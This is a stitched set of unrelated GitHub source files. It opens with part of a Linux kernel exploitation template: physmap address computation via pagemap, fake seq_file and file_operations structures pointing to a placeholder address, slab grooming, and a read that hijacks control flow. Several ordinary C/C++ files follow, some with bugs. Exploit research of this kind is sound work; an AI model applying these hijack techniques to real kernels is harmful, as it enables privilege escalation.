PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if(raddr == MAP_FAILED) { perror("mmap failed"); goto err; } // necessary due to lazy allocation memset(raddr, 0, PAGE_SIZE); lseek(fd, ((uint64_t)uaddr >> PAGE_SHIFT)*sizeof(uint64_t), SEEK_SET); read(fd, &v, sizeof(uint64_t)); if (v & (1UL << 63)) { pfn = v & ((1UL << 55) - 1); fprintf(stdout, "pfn: 0x%lx\n", pfn); kaddr = PHYS_OFFSET + 0x1000 * (pfn-PFN_MIN); fprintf(stdout, "kaddr: 0x%lx\n", kaddr); ret = (void*)kaddr; memset(&fake_seq_file, 0x00, sizeof(struct seq_file)); fake_seq_file.op = (void*)kaddr; fake_seq_operations.start = (void*)0xffffffffdeadbeef; memset((void*)USER_ADDR, 0xff, PAGE_SIZE); memcpy((void*)USER_ADDR, &fake_seq_operations, sizeof(struct seq_operations)); } return; err: close(fd); exit(-1); } static uint64_t r[1] = {0xffffffffffffffff}; /* * open files to allocate file structures and * cause allocation of at least one new slab which is right after * the second block */ void do_alloc_victim() { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); long res = 0; memcpy((void*)0x20000000, "/selinux/avc/cache_stats", 25); res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000000, 0, 0); if (res != -1) r[0] = res; return; } void do_hijack() { syscall(__NR_read, r[0], (void*)0x20000000, 4); } #endif // FENGSHUI1 #ifdef FENGSHUI4 struct file { char hole1[0x28]; void *f_op; char hole2[0x14]; unsigned int f_mode; char hole3[0xb8]; }; struct file_operations { char hole1[0x8]; void* llseek; void* read; char hole2[0xd8]; }; struct file fake_file; struct file_operations fake_file_operations; unsigned overwrite_start = 0x0; unsigned overwrite_end = 0x8; int fd[64]; uint64_t kaddr = 0; void do_setup_physmap() { void* uaddr = (void*)USER_ADDR; void* raddr = NULL; void* ret = NULL; char file_name[30]; sprintf(file_name, "/proc/%d/pagemap", getpid()); int fd = open(file_name, O_RDONLY); if (fd < 0) { perror("open failed"); goto err; } uint64_t v = 0; uint64_t pfn = 0; munmap(uaddr, PAGE_SIZE); raddr = mmap(uaddr, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if(raddr == MAP_FAILED) { perror("mmap failed"); goto err; } // necessary due to lazy allocation memset(raddr, 0, PAGE_SIZE); lseek(fd, ((uint64_t)uaddr >> PAGE_SHIFT)*sizeof(uint64_t), SEEK_SET); read(fd, &v, sizeof(uint64_t)); if (v & (1UL << 63)) { pfn = v & ((1UL << 55) - 1); fprintf(stdout, "pfn: 0x%lx\n", pfn); kaddr = PHYS_OFFSET + 0x1000 * (pfn-PFN_MIN); fprintf(stdout, "kaddr: 0x%lx\n", kaddr); ret = (void*)kaddr; memset(&fake_file, 0x00, sizeof(struct file)); fake_file.f_op = (void*)(kaddr+sizeof(struct file)); fake_file.f_mode = 0x5801e; fake_file_operations.llseek = (void*)0xffffffffdeadbeef; memset((void*)USER_ADDR, 0x00, PAGE_SIZE); memcpy((void*)USER_ADDR+sizeof(struct file), &fake_file_operations, sizeof(struct file_operations)); } return; err: close(fd); exit(-1); } static uint64_t r[1] = {0xffffffffffffffff}; extern void do_defragment(); void do_alloc_step() { do_defragment(KMALLOC_SIZE, 1); } void do_alloc_victim() { do_alloc_step(); syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); long res = 0; memcpy((void*)0x20000000, "/selinux/avc/cache_stats", 25); res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000000, 0, 0); if (res != -1) r[0] = res; return; } void do_hijack() { syscall(__NR_read, r[0], (void*)0x20000000, 4); } #endif // FENGSHUI4 #endif
chenyueqi/SLAKE
templates/victim/seq_file_tmpl.h
seq_file_tmpl.h
h
5,119
c
en
code
31
github-code
54
72499557923
#include <stdio.h> #define MAXR 50 typedef struct coordinate { int i; int j; } coordinate; typedef struct output { coordinate estremo; int base; int altezza; int area; } output; int switch_function (int a1, int a2); void leggiMatrice(int region[][MAXR], int max, int *nr, int *nc); void spampaMatrice(int pInt[50][50], int nr, int nc); int switch_function (int a1, int a2); int riconosciRegione(int M[50][50], int nr, int nc, int r, int c, int *b, int *h); int controlloEstremo(int M[50][50], int r, int c); int main() { int nr, nc; int region[MAXR][MAXR]; int b=0; int h=0; output base, altezza, area; base.base=0; altezza.altezza=0; area.area=0; leggiMatrice(region, MAXR, &nr, &nc); spampaMatrice(region, nr, nc); for (int r = 0; r < nr; r++) { for (int c = 0; c < nc; c++) { if (riconosciRegione(region, nr, nc, r, c, &b, &h)) { printf("Regione con estremo sinistro [%d, %d]: base %d, altezza %d\n", r+1, c+1, b, h); //CONFRONTO PER BASE if (switch_function(base.base, b)){ base.base=b; base.altezza=h; base.area=b*h; base.estremo.i=r; base.estremo.j=c; } //CONFRONTO PER ALTEZZA if (switch_function(altezza.altezza, h)){ altezza.base=b; altezza.altezza=h; altezza.area=b*h; altezza.estremo.i=r; altezza.estremo.j=c; } //CONFRONTO PER AREA if (switch_function(area.area, b*h)){ area.base=b; area.altezza=h; area.area=b*h; area.estremo.i=r; area.estremo.j=c; } } } } printf("\n"); printf("Massima base: estremo superiore sinistro: <%d, %d> base=%d, altezza=%d, area=%d\n", base.estremo.i, base.estremo.j, base.base, base.altezza, base.area); printf("Massima area: estremo superiore sinistro: <%d, %d> base=%d, altezza=%d, area=%d\n", area.estremo.i, area.estremo.j, area.base, area.altezza, area.area); printf("Massima altezza: estremo superiore sinistro: <%d, %d> base=%d, altezza=%d, area=%d\n", altezza.estremo.i, altezza.estremo.j, altezza.base, altezza.altezza, altezza.area); return 0; } int riconosciRegione(int M[50][50], int nr, int nc, int r, int c, int *b, int *h) { int flag=controlloEstremo(M, r, c); if (flag){ *b=1; *h=1; //TROVO ALTEZZA for (int i=r+1; i<nr; i++) { if (M[i][c]==1) *h=*h+1; else break; } //TROVO BASE for (int j=c+1; j<nc; j++) { if (M[r][j]==1) *b=*b+1; else break; } return 1; } return 0; } int controlloEstremo(int M[50][50], int r, int c) { if (M[r][c]==1) { if (r==0 && c==0){ return 1; } else if (r==0) { if (M[r][c-1]==0) return 1; return 0; } else if (c==0) { if (M[r-1][c]==0) return 1; return 0; } else { if (M[r][c-1]==0 && M[r-1][c]==0) return 1; return 0; } } return 0; } void spampaMatrice(int pInt[50][50], int nr, int nc) { printf("Stampo matrice:\n"); for (int i = 0; i < nr; i++) { for (int j = 0; j < nc; j++) { printf("%d ", pInt[i][j]); } printf("\n"); } printf("\n"); } void leggiMatrice(int region[][MAXR], int max, int *nr, int *nc) { FILE *fp=fopen("region.txt", "r"); if (fp==NULL) printf("Errore mell'apertura del file\n"); else { fscanf(fp, "%d %d", nr, nc); for (int i = 0; i < *nr; i++) { for (int j = 0; j < *nc; j++) { fscanf(fp,"%d", &region[i][j]); } } } fclose(fp); } int switch_function (int a1, int a2) { if (a2>a1) return 1; return 0; }
lorenzobuompane/Algoritmi-e-programmazione
Labs/03_1/main.c
main.c
c
4,284
c
it
code
0
github-code
54
17756914668
#include<iostream> #include<fstream> #include <algorithm> using namespace std; #define SPLITLISTSIZE 7 //define GenericReader class template<typename T> class GenericReader{ private: fstream source; string strings[SPLITLISTSIZE]; string sourcePath; map<string, vector<T>> orderbooks; vector<T> orderList; string line; string substring; T o; int currIndex; int iterator; int startIndex; int endIndex; int orderSize; int lineSize; char seperator; void SplitText(); void ReadOrder(); void Insert(); void Cancel(); void Amend(); void ReadSource(); public: GenericReader(string sourcePath); ~GenericReader(); map<string, vector<T>> GetOrderbook(); }; template<typename T> GenericReader<T>::GenericReader(string sourcePath) { this->sourcePath = sourcePath; this->seperator=';'; } template<typename T> GenericReader<T>::~GenericReader() { if(this->source.is_open()){ this->source.close(); } } template<typename T> void GenericReader<T>::SplitText() { currIndex = iterator = startIndex = endIndex = 0; lineSize = line.size(); while (iterator <= lineSize) { if (line[iterator] == seperator || iterator == lineSize) { endIndex = iterator; substring = ""; substring.append(line, startIndex, endIndex - startIndex); strings[currIndex] = substring; currIndex += 1; startIndex = endIndex + 1; } iterator++; } o.timestamp=strings[0]; o.symbol=strings[1]; o.orderId=stoi(strings[2]); o.operation=strings[3][0]; o.side=strings[4]; o.volume=stoi(strings[5]); o.price=stod(strings[6]); } template<typename T> void GenericReader<T>::ReadSource() { if(this->sourcePath.empty()) { cout << "problem occurs when open a file !" << endl; exit(1); } this->source.open(this->sourcePath,ios::in); if(this->source.is_open()){ while ( getline(this->source, this->line) ){ this->SplitText(); this->ReadOrder(); } } } template<typename T> map<string, vector<T>> GenericReader<T>::GetOrderbook() { this->ReadSource(); return this->orderbooks; } template<typename T> void GenericReader<T>::ReadOrder() { if(this->o.operation =='I') this->Insert(); else if(this->o.operation =='C') this->Cancel(); else this->Amend(); } template<typename T> void GenericReader<T>::Insert() { orderSize = orderbooks[o.symbol].size(); if(orderSize>0){ for (iterator=0;iterator < orderSize ; iterator++){ if(orderbooks[o.symbol][iterator].price==o.price){ if(orderbooks[o.symbol][iterator].side == o.side){ orderbooks[o.symbol].push_back(o); }else{ orderbooks[o.symbol][iterator].volume - o.volume; if(orderbooks[o.symbol][iterator].volume == 0){ orderbooks[o.symbol].erase(orderbooks[o.symbol].begin()+iterator); } } return; }else{ orderbooks[o.symbol].push_back(o); return; } } }else{ orderbooks[o.symbol].push_back(o); } } template<typename T> void GenericReader<T>::Cancel() { orderSize = orderbooks[o.symbol].size(); for (iterator=0;iterator < orderSize ; iterator++){ if(orderbooks[o.symbol][iterator].orderId==o.orderId){ orderbooks[o.symbol].erase(orderbooks[o.symbol].begin()+iterator); return; } } } template<typename T> void GenericReader<T>::Amend() { orderSize = orderbooks[o.symbol].size(); for (iterator=0;iterator < orderSize ; iterator++){ if(orderbooks[o.symbol][iterator].orderId==o.orderId){ orderbooks[o.symbol][iterator].price = o.price; orderbooks[o.symbol][iterator].volume = o.volume; return ; } } }
kazimagircan/Derivatives-Parser-and-Finder
genericReader.h
genericReader.h
h
4,213
c
en
code
0
github-code
54
2110314531
// // DefConst.h // EndlessGrid // // Created by Natasha on 28.09.12. // Copyright (c) 2012 Natasha. All rights reserved. // #ifndef EndlessGrid_DefConst_h #define EndlessGrid_DefConst_h typedef enum { kAddNone, kAddPoint, kAddLine, kAddSegment, kAddCustomPoint, kAddCustomLine, kAddCustomSegment, kClearBoard, kChangeColor } ActionType; #define kOnlyClose 0 #define kAddPointTag 1 #define kAddLineTag 2 #define kAddSegmentTag 3 #define kAddCustomPointTag 4 #define kAddCustomLineTag 5 #define kAddCustomSegmentTag 6 #define kClearBoardTag 7 #define kChangeColorTag 8 #define radPoint 4.0f #define startFrameForSubview CGRectMake(0, 0, 240, 260) #ifdef DEBUGGING # define DBLog(fmt,...) NSLog(@"%@",[NSString stringWithFormat:(fmt), ##__VA_ARGS__]); #else # define DBLog(...) #endif #define delayForSubView 0.3 #endif
pingwinator-archive/ios-bilogrud
EndlessGrid/EndlessGrid/DefConst.h
DefConst.h
h
865
c
en
code
0
github-code
54
44460897054
/** * @file MatrixOps * @description Bu program bazi matematiksel fonksiyonlarin gerceklesmesini saglar. * @assignment 1.Odev * @date 28.11.2022 * @author Ahmed Muaz Atik - [email protected] */ #include "matrixLib.h" #include <stdlib.h> #include <stdio.h> #include <math.h> //Girilen size boyutunda vektor dondurur. float *returnVector (int size) { //Dinamik olarak bir vektor olusturuluyor. float *vector = (float *) malloc(size * sizeof(float)); //Vektorun ici dolduruluyor. for (int i = 0; i < size; i++) { vector[i] = (rand() % 9) +1; } return vector; } //Girilen row ve col boyutunda matrix dondurur. float **returnMatrix (int row, int col) { //Dinamik olarak matrix'in row'lari olusturuluyor. float **matrix = (float **) malloc(sizeof(float *) * row); //Matrix'in rowlarina colummnlar olusturuluyor. for (int i = 0; i < row; i++) { matrix[i] = (float *) malloc(sizeof(float) * col); } //Matrix'in ici dolduruluyor. for (int i = 0; i < row; i++) { for (int j = 0; j < col; j++) { matrix[i][j] = (rand() % 9) +1; } } return matrix; } //Girilen matrix'in heapta tuttugu yeri biraktirir. void freeMatrix (float **mat, int row) { for (int i = 0; i < row; i++) { free(mat[i]); } free(mat); } //Girilen vektor'un ortalamasini hesaplar. float mean (float *vec, int size) { float avg = 0; //Tum degerleri avg'ye atiyor. for (int i = 0; i < size; i++) { avg += vec[i]; } //Avg/size yapip cikan degeri avg'ye esitliyor. avg /= size; return avg; } //Iki vektor'un kovaryansi'ni hesaplar. float covariance (float *vec1, float *vec2, int size) { float sum = 0; //Kovaryans denklemindeki toplama degerini buluyor. for (int i = 0; i < size; i++) { sum = sum + (vec1[i] - mean(vec1,size)) * (vec2[i] - mean(vec2,size)); } //Kovaryans'i donduruyor. return sum / (size - 1); } //Iki vektor'un koralasyonu'nu hesaplar. float correlation (float *vec, float *vec2, int size) { //Koralasyon denklemini uyguluyor. float correlation = covariance(vec,vec2,size) / (sqrt(covariance(vec,vec,size)) * sqrt(covariance(vec2,vec2,size))); return correlation; } //Iki matrix'in carpimini dondurur. float **matrixMultiplication (float **mat1, float **mat2, int row1, int col1, int row2, int col2) { //Dinamik olarak matrix olusturluyor. float **product = (float **) malloc(sizeof(float *) * col2); for (int i = 0; i < row1; i++) { product[i] = (float *) malloc(sizeof(float) * col2); } //Ilk matrix'in columnu ile ikinci matrix'in rowunun esitligine bakiliyor. if (col1 == row2) { //Matrix carpimi denklemi uygulaniyor. for (int i = 0; i < row1; i++) { for (int j = 0; j < col2; j++) { product[i][j] = 0; for (int k = 0; k < col2; k++) { product[i][j] += mat1[i][k]*mat2[k][j]; } } } } else { printf("Ilk matrix'in columnu ile ikinci matrix'in rowu esit olmalidir."); } return product; } //Girilen matrix'in transpozesi'ni aliyor. float **matrixTranspose (float **mat, int row, int col) { //Dinamik olarak return edilecek matrix olusturuluyor. float **transpose = (float **) malloc(sizeof(float *) * col); for (int i = 0; i < row; i++) { transpose[i] = (float *) malloc(sizeof(float) * col); } //Transpoze islemi uygulaniyor. for (int i = 0; i < row; i++) { for (int j = 0; j < col; j++) { transpose[i][j] = mat[j][i]; } } return transpose; } //Girilen matrix'in rowlarinin ortalamasini hesaplar. float **rowMeans (float **mat, int row, int col) { float total = 0; //Dinamik olarak return edilecek matrix olusturuluyor. float **avg = (float **) malloc(sizeof(float *) * row); for (int i = 0; i < row; i++) { avg[i] = (float *) malloc(sizeof(float) * 1); } //Row ortalamalari hesaplaniyor. for (int i = 0; i < row; i++) { for (int j = 0; j < col; j++) { total += mat[i][j]; } avg[i][0] = total / row; total = 0; } return avg; } //Girilen matrix'in columnlarinin ortalamasini hesaplar. float **columnMeans (float **mat, int row, int col) { float total = 0; //Dinamik olarak return edilecek matrix olusturuluyor. float **avg = (float **) malloc(sizeof(float *) * 1); for (int i = 0; i < 1; i++) { avg[i] = (float *) malloc(sizeof(float) * col); } //Column ortalamalari hesaplaniyor. for (int i = 0; i < row; i++) { for (int j = 0; j < col; j++) { total += mat[j][i]; } avg[0][i] = total / row; total = 0; } return avg; } //Girilen matrix'in kovaryans matrix'i hesaplaniyor. float **covarianceMatrix (float **mat, int row, int col) { float **covariance_matrix = returnMatrix(row,col); float **transpose = matrixTranspose(mat,row,col); for (int i = 0; i < row; i++) { for (int j = 0; j < col; j++) { covariance_matrix[i][j] = covariance(transpose[i],transpose[i],col); } } return covariance_matrix; } //Girilen matrix'in determinanti'ni hesaplar. float determinant (float **mat, int row) { int counter = 1; float det = 0; float sum = 0; float sub = 0; float val = 1; float temp_first = 1; float temp_second = 1; float temp_third = 1; //Matrix'in column sayisi arttiriliyor. for (int i = 0; i < 3; i++) { mat[i] = realloc(mat[i], sizeof(float) * 5); } //Matrix'in ici dolduruluyor. for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { mat[i][j] = val; val++; } } //Arttirilan columndaki degerler bastaki iki columnun degerlerine esitleniyor. for (int i = 0; i < 3; i++) { for (int j = 3; j < 5; j++) { mat[i][j] = mat[i][j-3]; } } //Genisletilen matrix yazdiriliyor. for (int i = 0; i < 3; i++) { for (int j = 0; j < 5; j++) { printf("%f ", mat[i][j]); } printf("\n"); } //Determinant hesaplamalari yapiliyor. for (int j = 0; j < 3; j++) { temp_first *= mat[j][j]; } for (int i = 0; i < 3; i++) { temp_second *= mat[i][counter]; counter++; } counter = 2; for (int i = 0; i < 3; i++) { temp_third *= mat[i][counter]; counter++; } //Pozitif kisim hesaplaniyor. sum = temp_first + temp_second + temp_third; temp_first = 1; temp_second = 1; temp_third = 1; counter = 0; for (int j = 2; j >= 0; j--) { temp_first *= mat[j][counter]; counter++; } counter = 1; for (int i = 2; i >= 0; i--) { temp_second *= mat[i][counter]; counter++; } counter = 2; for (int i = 2; i >= 0; i--) { temp_third *= mat[i][counter]; counter++; } //Negatif kisim hesaplaniyor. sub = temp_first + temp_second + temp_third; //Determinant hesaplaniyor. det = sum - sub; return det; } //Girilen vector print ediliyor. void printVector (float *vec, int N) { for (int i = 0; i < N; i++) { printf("%f ", vec[i]); } } //Girilen matrix print ediliyor. void printMatrix (float **mat, int row, int col) { for (int i = 0; i < row; i++) { for (int j = 0; j < col; j++) { printf("%f ", mat[i][j]); } printf("\n"); } }
AhmedMuazAtik/MatrixOps
matrixLib.c
matrixLib.c
c
7,136
c
tr
code
0
github-code
54
15468149681
// // Created by dido-ubuntu on 12/02/16. // #ifndef PARALLELSTREAMCLUSTER_COLLECTOR_H #define PARALLELSTREAMCLUSTER_COLLECTOR_H #include <ff/node.hpp> #include "Points.h" #include "UtilClusters.h" using namespace ff; class Collector: public ff_minode_t<Points> { public: long clustersize; Points * finalCenters; float* centerBlock ; char * outFile; Collector(long clustersz, int dim, long kmin, long kmax, int pf_workers, char *out): clustersize{clustersz}, finalCenters(new Points(dim, clustersz)), sc(kmin, kmax), outFile(out){ centerBlock = (float*)malloc(clustersize*dim*sizeof(float)); for (int i=0; i < clustersize; ++i) { (finalCenters->p[i]).coord = &centerBlock[i* dim];// points contains pointer to the block array containting the coordinates finalCenters->p[i].weight = 1.0; } }; Points * svc(Points *); void svc_end(); private : UtilClusters sc; }; #endif //PARALLELSTREAMCLUSTER_COLLECTOR_H
dido18/ParallelStreamCluster
src/Collector.h
Collector.h
h
1,039
c
en
code
2
github-code
54
22690998683
#include<stdio.h> int main(){ double a=1.0,s=0; int n,i; printf("N?"); scanf("%d",&n); for(i=0;i<=n;i++){ s += a; printf("s%d = %f\n",i,s); a /= 2.0; } }
t180067/nc-t180047
kadai4-4.c
kadai4-4.c
c
205
c
en
code
0
github-code
54
10601915408
#pragma once #include "Vector3.h" #include <glew.h> struct Color { GLubyte r; GLubyte g; GLubyte b; GLubyte a; }; struct UV { float u; float v; }; struct Vertex { Vector3 position; Color color; //UV texture coordinates UV uv; //Vector3 normals; void setPosition(int _x, int _y, int _z) { position.x = _x; position.y = _y; position.z = _z; } void setColor(GLubyte _r, GLubyte _g, GLubyte _b, GLubyte _a) { color.r = _r; color.g = _g; color.b = _b; color.a = _a; } void setUV(float _u, float _v) { uv.u = _u; uv.v = _v; } };
AZielinsky95/HanZoloEngine
ZoloEngine/ZoloEngine/Vertex.h
Vertex.h
h
570
c
pl
code
0
github-code
54
End of preview. Expand in Data Studio

No dataset card yet

Downloads last month
2